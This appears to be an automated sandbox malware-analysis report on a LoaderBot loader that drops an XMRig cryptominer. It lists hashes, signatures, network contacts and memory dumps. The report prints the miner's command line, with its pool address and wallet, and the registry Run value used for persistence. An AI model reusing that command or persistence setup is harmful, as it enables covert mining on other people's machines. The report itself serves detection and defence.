Malware Analysis Report

2024-10-18 23:18

Sample ID 220909-ex14qsgdg8
Target 91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3
SHA256 91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3
Tags
loaderbot xmrig loader miner persistence
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3

Threat Level: Known bad

The file 91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3 was found to be: Known bad.

Malicious Activity Summary

loaderbot xmrig loader miner persistence

Loaderbot family

xmrig

LoaderBot

LoaderBot executable

XMRig Miner payload

LoaderBot executable

Executes dropped EXE

Drops startup file

Loads dropped DLL

Adds Run key to start application

Enumerates physical storage devices

Suspicious behavior: GetForegroundWindowSpam

Suspicious behavior: RenamesItself

Suspicious behavior: LoadsDriver

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2022-09-09 04:19

Signatures

LoaderBot executable

Description Indicator Process Target
N/A N/A N/A N/A

Loaderbot family

loaderbot

Analysis: behavioral2

Detonation Overview

Submitted

2022-09-09 04:19

Reported

2022-09-09 04:25

Platform

win10-20220812-en

Max time kernel

38s

Max time network

62s

Command Line

"C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe"

Signatures

LoaderBot

loader miner loaderbot

xmrig

miner xmrig

LoaderBot executable

Description Indicator Process Target
N/A N/A N/A N/A

XMRig Miner payload

miner
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Driver.url C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000\Software\Microsoft\Windows\CurrentVersion\Run\Driver = "C:\\Users\\Admin\\AppData\\Roaming\\Sysfiles\\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe" C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A

Suspicious behavior: LoadsDriver

Description Indicator Process Target
N/A N/A N/A N/A

Suspicious behavior: RenamesItself

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe

"C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe"

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

Network

Country Destination Domain Proto
US 8.8.8.8:53 pool.supportxmr.com udp
FR 141.94.96.71:3333 pool.supportxmr.com tcp
US 8.8.8.8:53 cr71642.tmweb.ru udp
RU 5.23.51.195:80 cr71642.tmweb.ru tcp

Files

memory/4248-119-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-120-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-121-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-122-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-123-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-124-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-125-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-126-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-127-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-128-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-129-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-130-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-131-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-132-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-133-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-134-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-135-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-136-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-137-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-138-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-139-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-140-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-141-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-142-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-143-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-144-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-145-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-146-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-147-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-148-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-149-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-150-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-151-0x0000000000AD0000-0x0000000000ECE000-memory.dmp

memory/4248-152-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-153-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-154-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-155-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-156-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-157-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-158-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-159-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-160-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-161-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-162-0x00000000059F0000-0x0000000005A56000-memory.dmp

memory/4248-163-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-164-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-165-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-166-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-167-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-169-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-168-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-170-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-171-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-172-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-173-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-174-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-175-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-176-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-177-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-178-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-179-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-180-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-181-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/3436-182-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/4248-184-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-185-0x0000000076E80000-0x000000007700E000-memory.dmp

memory/4248-187-0x0000000076E80000-0x000000007700E000-memory.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/3436-195-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/3436-207-0x0000000000000000-0x0000000001000000-memory.dmp

memory/3436-208-0x0000000140000000-0x0000000140B75000-memory.dmp

Analysis: behavioral1

Detonation Overview

Submitted

2022-09-09 04:19

Reported

2022-09-09 04:25

Platform

win7-20220812-en

Max time kernel

301s

Max time network

266s

Command Line

"C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe"

Signatures

LoaderBot

loader miner loaderbot

xmrig

miner xmrig

LoaderBot executable

Description Indicator Process Target
N/A N/A N/A N/A

XMRig Miner payload

miner
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Driver.url C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Windows\CurrentVersion\Run\Driver = "C:\\Users\\Admin\\AppData\\Roaming\\Sysfiles\\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe" C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\91723a9ace6dfdf0edbb50cc4f45336e7830d92d3199df875301be79a83ba0c3.exe N/A
